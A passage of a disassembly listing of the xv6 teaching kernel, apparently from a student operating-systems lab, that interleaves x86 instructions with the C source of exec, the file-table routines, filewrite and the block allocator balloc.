00 call 80102b70 <end_op> cprintf("exec: fail\n"); 80100c15: c7 04 24 a1 6e 10 80 movl $0x80106ea1,(%esp) 80100c1c: e8 2f fa ff ff call 80100650 <cprintf> return -1; 80100c21: b8 ff ff ff ff mov $0xffffffff,%eax 80100c26: e9 e7 fd ff ff jmp 80100a12 <exec+0x72> 80100c2b: 89 f2 mov %esi,%edx ustack[3+argc] = 0; 80100c2d: c7 84 95 64 ff ff ff movl $0x0,-0x9c(%ebp,%edx,4) 80100c34: 00 00 00 00 ustack[2] = sp - (argc+1)*4; // argv pointer 80100c38: 8d 04 95 04 00 00 00 lea 0x4(,%edx,4),%eax ustack[1] = argc; 80100c3f: 89 95 5c ff ff ff mov %edx,-0xa4(%ebp) ustack[2] = sp - (argc+1)*4; // argv pointer 80100c45: 89 da mov %ebx,%edx 80100c47: 29 c2 sub %eax,%edx sp -= (3+argc+1) * 4; 80100c49: 83 c0 0c add $0xc,%eax 80100c4c: 29 c3 sub %eax,%ebx if(copyout(pgdir, sp, ustack, (3+argc+1)*4) < 0) 80100c4e: 89 44 24 0c mov %eax,0xc(%esp) 80100c52: 8b 85 f0 fe ff ff mov -0x110(%ebp),%eax 80100c58: 89 4c 24 08 mov %ecx,0x8(%esp) 80100c5c: 89 5c 24 04 mov %ebx,0x4(%esp) ustack[0] = 0xffffffff; // fake return PC 80100c60: c7 85 58 ff ff ff ff movl $0xffffffff,-0xa8(%ebp) 80100c67: ff ff ff if(copyout(pgdir, sp, ustack, (3+argc+1)*4) < 0) 80100c6a: 89 04 24 mov %eax,(%esp) ustack[2] = sp - (argc+1)*4; // argv pointer 80100c6d: 89 95 60 ff ff ff mov %edx,-0xa0(%ebp) if(copyout(pgdir, sp, ustack, (3+argc+1)*4) < 0) 80100c73: e8 98 60 00 00 call 80106d10 <copyout> 80100c78: 85 c0 test %eax,%eax 80100c7a: 0f 88 78 ff ff ff js 80100bf8 <exec+0x258> for(last=s=path; *s; s++) 80100c80: 8b 45 08 mov 0x8(%ebp),%eax 80100c83: 0f b6 10 movzbl (%eax),%edx 80100c86: 84 d2 test %dl,%dl 80100c88: 74 19 je 80100ca3 <exec+0x303> 80100c8a: 8b 4d 08 mov 0x8(%ebp),%ecx 80100c8d: 83 c0 01 add $0x1,%eax last = s+1; 80100c90: 80 fa 2f cmp $0x2f,%dl for(last=s=path; *s; s++) 80100c93: 0f b6 10 movzbl (%eax),%edx last = s+1; 80100c96: 0f 44 c8 cmove %eax,%ecx 80100c99: 83 c0 01 add $0x1,%eax for(last=s=path; *s; s++) 80100c9c: 84 d2 test %dl,%dl 80100c9e: 75 f0 jne 80100c90 <exec+0x2f0> 80100ca0: 89 4d 08 mov %ecx,0x8(%ebp) safestrcpy(curproc->name, last, sizeof(curproc->name)); 80100ca3: 8b bd f4 fe ff ff mov -0x10c(%ebp),%edi 80100ca9: 8b 45 08 mov 0x8(%ebp),%eax 80100cac: c7 44 24 08 10 00 00 movl $0x10,0x8(%esp) 80100cb3: 00 80100cb4: 89 44 24 04 mov %eax,0x4(%esp) 80100cb8: 89 f8 mov %edi,%eax 80100cba: 83 c0 6c add $0x6c,%eax 80100cbd: 89 04 24 mov %eax,(%esp) 80100cc0: e8 8b 37 00 00 call 80104450 <safestrcpy> sz = PGROUNDUP(sz); 80100cc5: 8b 85 ec fe ff ff mov -0x114(%ebp),%eax curproc->pgdir = pgdir; 80100ccb: 8b 95 f0 fe ff ff mov -0x110(%ebp),%edx oldpgdir = curproc->pgdir; 80100cd1: 8b 77 04 mov 0x4(%edi),%esi curproc->stacksize = 1; //mentioned in lab 3, todo 4 80100cd4: c7 47 7c 01 00 00 00 movl $0x1,0x7c(%edi) sz = PGROUNDUP(sz); 80100cdb: 05 ff 0f 00 00 add $0xfff,%eax 80100ce0: 25 00 f0 ff ff and $0xfffff000,%eax 80100ce5: 89 07 mov %eax,(%edi) curproc->tf->eip = elf.entry; // main 80100ce7: 8b 47 18 mov 0x18(%edi),%eax curproc->pgdir = pgdir; 80100cea: 89 57 04 mov %edx,0x4(%edi) curproc->tf->eip = elf.entry; // main 80100ced: 8b 95 3c ff ff ff mov -0xc4(%ebp),%edx 80100cf3: 89 50 38 mov %edx,0x38(%eax) curproc->tf->esp = sp; 80100cf6: 8b 47 18 mov 0x18(%edi),%eax 80100cf9: 89 58 44 mov %ebx,0x44(%eax) switchuvm(curproc); 80100cfc: 89 3c 24 mov %edi,(%esp) 80100cff: e8 3c 59 00 00 call 80106640 <switchuvm> freevm(oldpgdir); 80100d04: 89 34 24 mov %esi,(%esp) 80100d07: e8 b4 5c 00 00 call 801069c0 <freevm> return 0; 80100d0c: 31 c0 xor %eax,%eax 80100d0e: e9 ff fc ff ff jmp 80100a12 <exec+0x72> for(argc = 0; argv[argc]; argc++) { 80100d13: bb ff ff ff 7f mov $0x7fffffff,%ebx 80100d18: 31 d2 xor %edx,%edx 80100d1a: 8d 8d 58 ff ff ff lea -0xa8(%ebp),%ecx 80100d20: e9 08 ff ff ff jmp 80100c2d <exec+0x28d> 80100d25: 66 90 xchg %ax,%ax 80100d27: 66 90 xchg %ax,%ax 80100d29: 66 90 xchg %ax,%ax 80100d2b: 66 90 xchg %ax,%ax 80100d2d: 66 90 xchg %ax,%ax 80100d2f: 90 nop 80100d30 <fileinit>: struct file file[NFILE]; } ftable; void fileinit(void) { 80100d30: 55 push %ebp 80100d31: 89 e5 mov %esp,%ebp 80100d33: 83 ec 18 sub $0x18,%esp initlock(&ftable.lock, "ftable"); 80100d36: c7 44 24 04 ad 6e 10 movl $0x80106ead,0x4(%esp) 80100d3d: 80 80100d3e: c7 04 24 c0 ff 10 80 movl $0x8010ffc0,(%esp) 80100d45: e8 f6 32 00 00 call 80104040 <initlock> } 80100d4a: c9 leave 80100d4b: c3 ret 80100d4c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 80100d50 <filealloc>: // Allocate a file structure. struct file* filealloc(void) { 80100d50: 55 push %ebp 80100d51: 89 e5 mov %esp,%ebp 80100d53: 53 push %ebx struct file *f; acquire(&ftable.lock); for(f = ftable.file; f < ftable.file + NFILE; f++){ 80100d54: bb f4 ff 10 80 mov $0x8010fff4,%ebx { 80100d59: 83 ec 14 sub $0x14,%esp acquire(&ftable.lock); 80100d5c: c7 04 24 c0 ff 10 80 movl $0x8010ffc0,(%esp) 80100d63: e8 c8 33 00 00 call 80104130 <acquire> 80100d68: eb 11 jmp 80100d7b <filealloc+0x2b> 80100d6a: 8d b6 00 00 00 00 lea 0x0(%esi),%esi for(f = ftable.file; f < ftable.file + NFILE; f++){ 80100d70: 83 c3 18 add $0x18,%ebx 80100d73: 81 fb 54 09 11 80 cmp $0x80110954,%ebx 80100d79: 74 25 je 80100da0 <filealloc+0x50> if(f->ref == 0){ 80100d7b: 8b 43 04 mov 0x4(%ebx),%eax 80100d7e: 85 c0 test %eax,%eax 80100d80: 75 ee jne 80100d70 <filealloc+0x20> f->ref = 1; release(&ftable.lock); 80100d82: c7 04 24 c0 ff 10 80 movl $0x8010ffc0,(%esp) f->ref = 1; 80100d89: c7 43 04 01 00 00 00 movl $0x1,0x4(%ebx) release(&ftable.lock); 80100d90: e8 8b 34 00 00 call 80104220 <release> return f; } } release(&ftable.lock); return 0; } 80100d95: 83 c4 14 add $0x14,%esp return f; 80100d98: 89 d8 mov %ebx,%eax } 80100d9a: 5b pop %ebx 80100d9b: 5d pop %ebp 80100d9c: c3 ret 80100d9d: 8d 76 00 lea 0x0(%esi),%esi release(&ftable.lock); 80100da0: c7 04 24 c0 ff 10 80 movl $0x8010ffc0,(%esp) 80100da7: e8 74 34 00 00 call 80104220 <release> } 80100dac: 83 c4 14 add $0x14,%esp return 0; 80100daf: 31 c0 xor %eax,%eax } 80100db1: 5b pop %ebx 80100db2: 5d pop %ebp 80100db3: c3 ret 80100db4: 8d b6 00 00 00 00 lea 0x0(%esi),%esi 80100dba: 8d bf 00 00 00 00 lea 0x0(%edi),%edi 80100dc0 <filedup>: // Increment ref count for file f. struct file* filedup(struct file *f) { 80100dc0: 55 push %ebp 80100dc1: 89 e5 mov %esp,%ebp 80100dc3: 53 push %ebx 80100dc4: 83 ec 14 sub $0x14,%esp 80100dc7: 8b 5d 08 mov 0x8(%ebp),%ebx acquire(&ftable.lock); 80100dca: c7 04 24 c0 ff 10 80 movl $0x8010ffc0,(%esp) 80100dd1: e8 5a 33 00 00 call 80104130 <acquire> if(f->ref < 1) 80100dd6: 8b 43 04 mov 0x4(%ebx),%eax 80100dd9: 85 c0 test %eax,%eax 80100ddb: 7e 1a jle 80100df7 <filedup+0x37> panic("filedup"); f->ref++; 80100ddd: 83 c0 01 add $0x1,%eax 80100de0: 89 43 04 mov %eax,0x4(%ebx) release(&ftable.lock); 80100de3: c7 04 24 c0 ff 10 80 movl $0x8010ffc0,(%esp) 80100dea: e8 31 34 00 00 call 80104220 <release> return f; } 80100def: 83 c4 14 add $0x14,%esp 80100df2: 89 d8 mov %ebx,%eax 80100df4: 5b pop %ebx 80100df5: 5d pop %ebp 80100df6: c3 ret panic("filedup"); 80100df7: c7 04 24 b4 6e 10 80 movl $0x80106eb4,(%esp) 80100dfe: e8 5d f5 ff ff call 80100360 <panic> 80100e03: 8d b6 00 00 00 00 lea 0x0(%esi),%esi 80100e09: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 80100e10 <fileclose>: // Close file f. (Decrement ref count, close when reaches 0.) void fileclose(struct file *f) { 80100e10: 55 push %ebp 80100e11: 89 e5 mov %esp,%ebp 80100e13: 57 push %edi 80100e14: 56 push %esi 80100e15: 53 push %ebx 80100e16: 83 ec 1c sub $0x1c,%esp 80100e19: 8b 7d 08 mov 0x8(%ebp),%edi struct file ff; acquire(&ftable.lock); 80100e1c: c7 04 24 c0 ff 10 80 movl $0x8010ffc0,(%esp) 80100e23: e8 08 33 00 00 call 80104130 <acquire> if(f->ref < 1) 80100e28: 8b 57 04 mov 0x4(%edi),%edx 80100e2b: 85 d2 test %edx,%edx 80100e2d: 0f 8e 89 00 00 00 jle 80100ebc <fileclose+0xac> panic("fileclose"); if(--f->ref > 0){ 80100e33: 83 ea 01 sub $0x1,%edx 80100e36: 85 d2 test %edx,%edx 80100e38: 89 57 04 mov %edx,0x4(%edi) 80100e3b: 74 13 je 80100e50 <fileclose+0x40> release(&ftable.lock); 80100e3d: c7 45 08 c0 ff 10 80 movl $0x8010ffc0,0x8(%ebp) else if(ff.type == FD_INODE){ begin_op(); iput(ff.ip); end_op(); } } 80100e44: 83 c4 1c add $0x1c,%esp 80100e47: 5b pop %ebx 80100e48: 5e pop %esi 80100e49: 5f pop %edi 80100e4a: 5d pop %ebp release(&ftable.lock); 80100e4b: e9 d0 33 00 00 jmp 80104220 <release> ff = *f; 80100e50: 0f b6 47 09 movzbl 0x9(%edi),%eax 80100e54: 8b 37 mov (%edi),%esi 80100e56: 8b 5f 0c mov 0xc(%edi),%ebx f->type = FD_NONE; 80100e59: c7 07 00 00 00 00 movl $0x0,(%edi) ff = *f; 80100e5f: 88 45 e7 mov %al,-0x19(%ebp) 80100e62: 8b 47 10 mov 0x10(%edi),%eax release(&ftable.lock); 80100e65: c7 04 24 c0 ff 10 80 movl $0x8010ffc0,(%esp) ff = *f; 80100e6c: 89 45 e0 mov %eax,-0x20(%ebp) release(&ftable.lock); 80100e6f: e8 ac 33 00 00 call 80104220 <release> if(ff.type == FD_PIPE) 80100e74: 83 fe 01 cmp $0x1,%esi 80100e77: 74 0f je 80100e88 <fileclose+0x78> else if(ff.type == FD_INODE){ 80100e79: 83 fe 02 cmp $0x2,%esi 80100e7c: 74 22 je 80100ea0 <fileclose+0x90> } 80100e7e: 83 c4 1c add $0x1c,%esp 80100e81: 5b pop %ebx 80100e82: 5e pop %esi 80100e83: 5f pop %edi 80100e84: 5d pop %ebp 80100e85: c3 ret 80100e86: 66 90 xchg %ax,%ax pipeclose(ff.pipe, ff.writable); 80100e88: 0f be 75 e7 movsbl -0x19(%ebp),%esi 80100e8c: 89 1c 24 mov %ebx,(%esp) 80100e8f: 89 74 24 04 mov %esi,0x4(%esp) 80100e93: e8 b8 23 00 00 call 80103250 <pipeclose> 80100e98: eb e4 jmp 80100e7e <fileclose+0x6e> 80100e9a: 8d b6 00 00 00 00 lea 0x0(%esi),%esi begin_op(); 80100ea0: e8 5b 1c 00 00 call 80102b00 <begin_op> iput(ff.ip); 80100ea5: 8b 45 e0 mov -0x20(%ebp),%eax 80100ea8: 89 04 24 mov %eax,(%esp) 80100eab: e8 10 09 00 00 call 801017c0 <iput> } 80100eb0: 83 c4 1c add $0x1c,%esp 80100eb3: 5b pop %ebx 80100eb4: 5e pop %esi 80100eb5: 5f pop %edi 80100eb6: 5d pop %ebp end_op(); 80100eb7: e9 b4 1c 00 00 jmp 80102b70 <end_op> panic("fileclose"); 80100ebc: c7 04 24 bc 6e 10 80 movl $0x80106ebc,(%esp) 80100ec3: e8 98 f4 ff ff call 80100360 <panic> 80100ec8: 90 nop 80100ec9: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 80100ed0 <filestat>: // Get metadata about file f. int filestat(struct file *f, struct stat *st) { 80100ed0: 55 push %ebp 80100ed1: 89 e5 mov %esp,%ebp 80100ed3: 53 push %ebx 80100ed4: 83 ec 14 sub $0x14,%esp 80100ed7: 8b 5d 08 mov 0x8(%ebp),%ebx if(f->type == FD_INODE){ 80100eda: 83 3b 02 cmpl $0x2,(%ebx) 80100edd: 75 31 jne 80100f10 <filestat+0x40> ilock(f->ip); 80100edf: 8b 43 10 mov 0x10(%ebx),%eax 80100ee2: 89 04 24 mov %eax,(%esp) 80100ee5: e8 b6 07 00 00 call 801016a0 <ilock> stati(f->ip, st); 80100eea: 8b 45 0c mov 0xc(%ebp),%eax 80100eed: 89 44 24 04 mov %eax,0x4(%esp) 80100ef1: 8b 43 10 mov 0x10(%ebx),%eax 80100ef4: 89 04 24 mov %eax,(%esp) 80100ef7: e8 24 0a 00 00 call 80101920 <stati> iunlock(f->ip); 80100efc: 8b 43 10 mov 0x10(%ebx),%eax 80100eff: 89 04 24 mov %eax,(%esp) 80100f02: e8 79 08 00 00 call 80101780 <iunlock> return 0; } return -1; } 80100f07: 83 c4 14 add $0x14,%esp return 0; 80100f0a: 31 c0 xor %eax,%eax } 80100f0c: 5b pop %ebx 80100f0d: 5d pop %ebp 80100f0e: c3 ret 80100f0f: 90 nop 80100f10: 83 c4 14 add $0x14,%esp return -1; 80100f13: b8 ff ff ff ff mov $0xffffffff,%eax } 80100f18: 5b pop %ebx 80100f19: 5d pop %ebp 80100f1a: c3 ret 80100f1b: 90 nop 80100f1c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 80100f20 <fileread>: // Read from file f. int fileread(struct file *f, char *addr, int n) { 80100f20: 55 push %ebp 80100f21: 89 e5 mov %esp,%ebp 80100f23: 57 push %edi 80100f24: 56 push %esi 80100f25: 53 push %ebx 80100f26: 83 ec 1c sub $0x1c,%esp 80100f29: 8b 5d 08 mov 0x8(%ebp),%ebx 80100f2c: 8b 75 0c mov 0xc(%ebp),%esi 80100f2f: 8b 7d 10 mov 0x10(%ebp),%edi int r; if(f->readable == 0) 80100f32: 80 7b 08 00 cmpb $0x0,0x8(%ebx) 80100f36: 74 68 je 80100fa0 <fileread+0x80> return -1; if(f->type == FD_PIPE) 80100f38: 8b 03 mov (%ebx),%eax 80100f3a: 83 f8 01 cmp $0x1,%eax 80100f3d: 74 49 je 80100f88 <fileread+0x68> return piperead(f->pipe, addr, n); if(f->type == FD_INODE){ 80100f3f: 83 f8 02 cmp $0x2,%eax 80100f42: 75 63 jne 80100fa7 <fileread+0x87> ilock(f->ip); 80100f44: 8b 43 10 mov 0x10(%ebx),%eax 80100f47: 89 04 24 mov %eax,(%esp) 80100f4a: e8 51 07 00 00 call 801016a0 <ilock> if((r = readi(f->ip, addr, f->off, n)) > 0) 80100f4f: 89 7c 24 0c mov %edi,0xc(%esp) 80100f53: 8b 43 14 mov 0x14(%ebx),%eax 80100f56: 89 74 24 04 mov %esi,0x4(%esp) 80100f5a: 89 44 24 08 mov %eax,0x8(%esp) 80100f5e: 8b 43 10 mov 0x10(%ebx),%eax 80100f61: 89 04 24 mov %eax,(%esp) 80100f64: e8 e7 09 00 00 call 80101950 <readi> 80100f69: 85 c0 test %eax,%eax 80100f6b: 89 c6 mov %eax,%esi 80100f6d: 7e 03 jle 80100f72 <fileread+0x52> f->off += r; 80100f6f: 01 43 14 add %eax,0x14(%ebx) iunlock(f->ip); 80100f72: 8b 43 10 mov 0x10(%ebx),%eax 80100f75: 89 04 24 mov %eax,(%esp) 80100f78: e8 03 08 00 00 call 80101780 <iunlock> if((r = readi(f->ip, addr, f->off, n)) > 0) 80100f7d: 89 f0 mov %esi,%eax return r; } panic("fileread"); } 80100f7f: 83 c4 1c add $0x1c,%esp 80100f82: 5b pop %ebx 80100f83: 5e pop %esi 80100f84: 5f pop %edi 80100f85: 5d pop %ebp 80100f86: c3 ret 80100f87: 90 nop return piperead(f->pipe, addr, n); 80100f88: 8b 43 0c mov 0xc(%ebx),%eax 80100f8b: 89 45 08 mov %eax,0x8(%ebp) } 80100f8e: 83 c4 1c add $0x1c,%esp 80100f91: 5b pop %ebx 80100f92: 5e pop %esi 80100f93: 5f pop %edi 80100f94: 5d pop %ebp return piperead(f->pipe, addr, n); 80100f95: e9 36 24 00 00 jmp 801033d0 <piperead> 80100f9a: 8d b6 00 00 00 00 lea 0x0(%esi),%esi return -1; 80100fa0: b8 ff ff ff ff mov $0xffffffff,%eax 80100fa5: eb d8 jmp 80100f7f <fileread+0x5f> panic("fileread"); 80100fa7: c7 04 24 c6 6e 10 80 movl $0x80106ec6,(%esp) 80100fae: e8 ad f3 ff ff call 80100360 <panic> 80100fb3: 8d b6 00 00 00 00 lea 0x0(%esi),%esi 80100fb9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 80100fc0 <filewrite>: //PAGEBREAK! // Write to file f. int filewrite(struct file *f, char *addr, int n) { 80100fc0: 55 push %ebp 80100fc1: 89 e5 mov %esp,%ebp 80100fc3: 57 push %edi 80100fc4: 56 push %esi 80100fc5: 53 push %ebx 80100fc6: 83 ec 2c sub $0x2c,%esp 80100fc9: 8b 45 0c mov 0xc(%ebp),%eax 80100fcc: 8b 7d 08 mov 0x8(%ebp),%edi 80100fcf: 89 45 dc mov %eax,-0x24(%ebp) 80100fd2: 8b 45 10 mov 0x10(%ebp),%eax int r; if(f->writable == 0) 80100fd5: 80 7f 09 00 cmpb $0x0,0x9(%edi) { 80100fd9: 89 45 e4 mov %eax,-0x1c(%ebp) if(f->writable == 0) 80100fdc: 0f 84 ae 00 00 00 je 80101090 <filewrite+0xd0> return -1; if(f->type == FD_PIPE) 80100fe2: 8b 07 mov (%edi),%eax 80100fe4: 83 f8 01 cmp $0x1,%eax 80100fe7: 0f 84 c2 00 00 00 je 801010af <filewrite+0xef> return pipewrite(f->pipe, addr, n); if(f->type == FD_INODE){ 80100fed: 83 f8 02 cmp $0x2,%eax 80100ff0: 0f 85 d7 00 00 00 jne 801010cd <filewrite+0x10d> // and 2 blocks of slop for non-aligned writes. // this really belongs lower down, since writei() // might be writing a device like the console. int max = ((LOGSIZE-1-1-2) / 2) * 512; int i = 0; while(i < n){ 80100ff6: 8b 45 e4 mov -0x1c(%ebp),%eax 80100ff9: 31 db xor %ebx,%ebx 80100ffb: 85 c0 test %eax,%eax 80100ffd: 7f 31 jg 80101030 <filewrite+0x70> 80100fff: e9 9c 00 00 00 jmp 801010a0 <filewrite+0xe0> 80101004: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi begin_op(); ilock(f->ip); if ((r = writei(f->ip, addr + i, f->off, n1)) > 0) f->off += r; iunlock(f->ip); 80101008: 8b 4f 10 mov 0x10(%edi),%ecx f->off += r; 8010100b: 01 47 14 add %eax,0x14(%edi) 8010100e: 89 45 e0 mov %eax,-0x20(%ebp) iunlock(f->ip); 80101011: 89 0c 24 mov %ecx,(%esp) 80101014: e8 67 07 00 00 call 80101780 <iunlock> end_op(); 80101019: e8 52 1b 00 00 call 80102b70 <end_op> 8010101e: 8b 45 e0 mov -0x20(%ebp),%eax if(r < 0) break; if(r != n1) 80101021: 39 f0 cmp %esi,%eax 80101023: 0f 85 98 00 00 00 jne 801010c1 <filewrite+0x101> panic("short filewrite"); i += r; 80101029: 01 c3 add %eax,%ebx while(i < n){ 8010102b: 39 5d e4 cmp %ebx,-0x1c(%ebp) 8010102e: 7e 70 jle 801010a0 <filewrite+0xe0> int n1 = n - i; 80101030: 8b 75 e4 mov -0x1c(%ebp),%esi 80101033: b8 00 1a 00 00 mov $0x1a00,%eax 80101038: 29 de sub %ebx,%esi 8010103a: 81 fe 00 1a 00 00 cmp $0x1a00,%esi 80101040: 0f 4f f0 cmovg %eax,%esi begin_op(); 80101043: e8 b8 1a 00 00 call 80102b00 <begin_op> ilock(f->ip); 80101048: 8b 47 10 mov 0x10(%edi),%eax 8010104b: 89 04 24 mov %eax,(%esp) 8010104e: e8 4d 06 00 00 call 801016a0 <ilock> if ((r = writei(f->ip, addr + i, f->off, n1)) > 0) 80101053: 89 74 24 0c mov %esi,0xc(%esp) 80101057: 8b 47 14 mov 0x14(%edi),%eax 8010105a: 89 44 24 08 mov %eax,0x8(%esp) 8010105e: 8b 45 dc mov -0x24(%ebp),%eax 80101061: 01 d8 add %ebx,%eax 80101063: 89 44 24 04 mov %eax,0x4(%esp) 80101067: 8b 47 10 mov 0x10(%edi),%eax 8010106a: 89 04 24 mov %eax,(%esp) 8010106d: e8 de 09 00 00 call 80101a50 <writei> 80101072: 85 c0 test %eax,%eax 80101074: 7f 92 jg 80101008 <filewrite+0x48> iunlock(f->ip); 80101076: 8b 4f 10 mov 0x10(%edi),%ecx 80101079: 89 45 e0 mov %eax,-0x20(%ebp) 8010107c: 89 0c 24 mov %ecx,(%esp) 8010107f: e8 fc 06 00 00 call 80101780 <iunlock> end_op(); 80101084: e8 e7 1a 00 00 call 80102b70 <end_op> if(r < 0) 80101089: 8b 45 e0 mov -0x20(%ebp),%eax 8010108c: 85 c0 test %eax,%eax 8010108e: 74 91 je 80101021 <filewrite+0x61> } return i == n ? n : -1; } panic("filewrite"); } 80101090: 83 c4 2c add $0x2c,%esp return -1; 80101093: b8 ff ff ff ff mov $0xffffffff,%eax } 80101098: 5b pop %ebx 80101099: 5e pop %esi 8010109a: 5f pop %edi 8010109b: 5d pop %ebp 8010109c: c3 ret 8010109d: 8d 76 00 lea 0x0(%esi),%esi return i == n ? n : -1; 801010a0: 3b 5d e4 cmp -0x1c(%ebp),%ebx 801010a3: 89 d8 mov %ebx,%eax 801010a5: 75 e9 jne 80101090 <filewrite+0xd0> } 801010a7: 83 c4 2c add $0x2c,%esp 801010aa: 5b pop %ebx 801010ab: 5e pop %esi 801010ac: 5f pop %edi 801010ad: 5d pop %ebp 801010ae: c3 ret return pipewrite(f->pipe, addr, n); 801010af: 8b 47 0c mov 0xc(%edi),%eax 801010b2: 89 45 08 mov %eax,0x8(%ebp) } 801010b5: 83 c4 2c add $0x2c,%esp 801010b8: 5b pop %ebx 801010b9: 5e pop %esi 801010ba: 5f pop %edi 801010bb: 5d pop %ebp return pipewrite(f->pipe, addr, n); 801010bc: e9 1f 22 00 00 jmp 801032e0 <pipewrite> panic("short filewrite"); 801010c1: c7 04 24 cf 6e 10 80 movl $0x80106ecf,(%esp) 801010c8: e8 93 f2 ff ff call 80100360 <panic> panic("filewrite"); 801010cd: c7 04 24 d5 6e 10 80 movl $0x80106ed5,(%esp) 801010d4: e8 87 f2 ff ff call 80100360 <panic> 801010d9: 66 90 xchg %ax,%ax 801010db: 66 90 xchg %ax,%ax 801010dd: 66 90 xchg %ax,%ax 801010df: 90 nop 801010e0 <balloc>: // Blocks. // Allocate a zeroed disk block. static uint balloc(uint dev) { 801010e0: 55 push %ebp 801010e1: 89 e5 mov %esp,%ebp 801010e3: 57 push %edi 801010e4: 56 push %esi 801010e5: 53 push %ebx 801010e6: 83 ec 2c sub $0x2c,%esp 801010e9: 89 45 d8 mov %eax,-0x28(%ebp) int b, bi, m; struct buf *bp; bp = 0; for(b = 0; b < sb.size; b += BPB){ 801010ec: a1 c0 09 11 80 mov 0x801109c0,%eax 801010f1: 85 c0 test %eax,%eax 801010f3: 0f 84 8c 00 00 00 je 80101185 <balloc+0xa5> 801010f9: c7 45 dc 00 00 00 00 movl $0x0,-0x24(%ebp) bp = bread(dev, BBLOCK(b, sb)); 80101100: 8b 75 dc mov -0x24(%ebp),%esi 80101103: 89 f0 mov %esi,%eax 80101105: c1 f8 0c sar $0xc,%eax 80101108: 03 05 d8 09 11 80 add 0x801109d8,%eax 8010110e: 89 44 24 04 mov %eax,0x4(%esp) 80101112: 8b 45 d8 mov -0x28(%ebp),%eax 80101115: 89 04 24 mov %eax,(%esp) 80101118: e8 b3 ef ff ff call 801000d0 <bread> 8010111d: 89 45 e4 mov %eax,-0x1c(%ebp) 80101120: a1 c0 09 11 80 mov 0x801109c0,%eax 80101125: 89 45 e0 mov %eax,-0x20(%ebp) for(bi = 0; bi < BPB && b + bi < sb.size; bi++){ 80101128: 31 c0 xor %eax,%eax 8010112a: eb 33 jmp 8010115f <balloc+0x7f> 8010112c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi m = 1 << (bi % 8); if((bp->data[bi/8] & m) == 0){ // Is block free? 80101130: 8b 5d e4 mov -0x1c(%ebp),%ebx 80101133: 89 c2 mov %eax,%edx m = 1 << (bi % 8); 80101135: 89 c1 mov %eax,%ecx if((bp->data[bi/8] & m) == 0){ // Is block free? 80101137: c1 fa 03 sar $0x3,%edx m = 1 << (bi % 8); 8010113a: 83 e1 07 and $0x7,%ecx 8010113d: bf 01 00 00 00 mov $0x1,%edi 80101142: d3 e7 shl %cl,%edi if((bp->data[bi/8] & m) == 0){ // Is block free? 80101144: 0f b6 5c 13 5c movzbl 0x5c(%ebx,%edx,1),%ebx m = 1 << (bi % 8); 80101149: 89 f9 mov %edi,%ecx if((bp->data[bi/8] & m) == 0){ // Is block free? 8010114b: 0f b6 fb movzbl %bl,%edi 8010114e: 85 cf test %ecx,%edi 80101150: 74 46 je 80101198 <balloc+0xb8> for(bi = 0; bi < BPB && b + bi < sb.size; bi++){ 80101152: 83 c0 01 add $0x1,%eax 80101155: 83 c6 01 add $0x1,%esi 80101158: 3d 00 10 00 00 cmp $0x1000,%eax 8010115d: 74 05 je 80101164 <balloc+0x84> 8010115f: 3b 75 e0 cmp -0x20(%ebp),%esi 80101162: 72 cc jb 80101130 <balloc+0x50> brelse(bp); bzero(dev, b + bi); return b + bi; } } brelse(bp); 80101164: 8b 45 e4 mov -0x1c(%ebp),%eax 80101167: 89 04 24 mov %eax,(%esp) 8010116a: e8 71 f0 ff ff call 801001e0 <brelse> for(b = 0; b < sb.size; b += BPB){ 8010116f: 81 45 dc 00 10 00 00 addl $0x1000,-0x24(%ebp) 80101176: 8b 45 dc mov -0x24(%ebp),%eax 80101179: 3b 05 c0 09 11 80 cmp 0x801109c0,%eax 8010117f: 0f 82 7b ff ff ff jb 80101100 <balloc+0x20> } panic("balloc: out of blocks"); 80101185: c7 04 24 df 6e 10 80 movl $0x80106edf,(%esp) 8010118c: e8 cf f1 ff ff call 80100360 <panic> 80101191: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi bp->data[bi/8] |= m; // Mark block in use. 80101198: 09 d9 or %ebx,%ecx 8010119a: 8b 5d e4 mov -0x1c(%ebp),%ebx 8010119d: 88 4c 13 5c mov %cl,0x5c(%ebx,%edx,1) log_write(bp); 801011a1: 89 1c 24 mov %ebx,(%esp) 801011a4: e8 f7 1a 00 00 call 80102ca0 <log_write> brelse(bp); 801011a9: 89 1c 24 mov %ebx,(%esp) 801011ac: e8 2f f0 ff ff call 801001e0 <brelse> bp = bread(dev, bno); 801011b1: 8b 45 d8 mov -0x28(%ebp),%eax 801011b4: 89 74 24 04 mov %esi,0x4(%esp) 801011b8: 89 04 24 mov %eax,(%esp) 801011bb: e8 10 ef ff ff call 801000d0 <bread> memset(bp->data, 0, BSIZE); 801011c0: c7 44 24 08 00 02 00 movl $0x200,0x8(%esp) 801011c7: 00 801011c8: c7 44 24 04 00 00 00 movl $0x0,0x4(%esp) 801011cf: 00 bp = bread(dev, bno); 801011d0: 89 c3 mov %eax,%ebx memset(bp->data, 0, BSIZE); 801011d2: 8d 40 5c lea 0x5c(%eax),%eax 801011d5: 89 04 24 mov %eax,(%esp) 801011d8: e8 93 30 00 00 call 80104270 <memset> log_write(bp); 801011dd: 89 1c 24 mov %ebx,(%esp) 801011e0: e8 bb 1a 00 00 call 80102ca0 <log_write> brelse(bp); 801011e5: 89 1c 24 mov %ebx,(%esp) 801011e8: e8 f3 ef ff ff call 801001e0 <brelse> } 801011ed: 83 c4 2c add $0x2c,%esp 801011f0: 89 f0 mov %esi,%eax 801011f2: 5b pop %ebx 801011f3: 5e pop %esi 801011f4: 5f pop %edi 801011f5: 5d pop %ebp 801011f6: c3 ret 801011f7: 89 f6 mov %esi,%esi 801011f9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 80101200 <iget>: // Find the inode with number inum on device dev // and return the in-memory copy. Does not lock // the inode and does not read it from disk. static struct inode* iget(uint dev, uint inum) { 80101200: 55 push %ebp 80101201: 89 e5 mov %esp,%ebp 80101203: 57 push %edi 80101204: 89 c7 mov %eax,%edi 80101206: 56 push %esi struct inode *ip, *empty; acquire(&icache.lock); // Is the inode already cached? empty = 0; 80101207: 31 f6 xor %esi,%esi { 80101209: 53 push %ebx for(ip = &icache.inode[0]; ip < 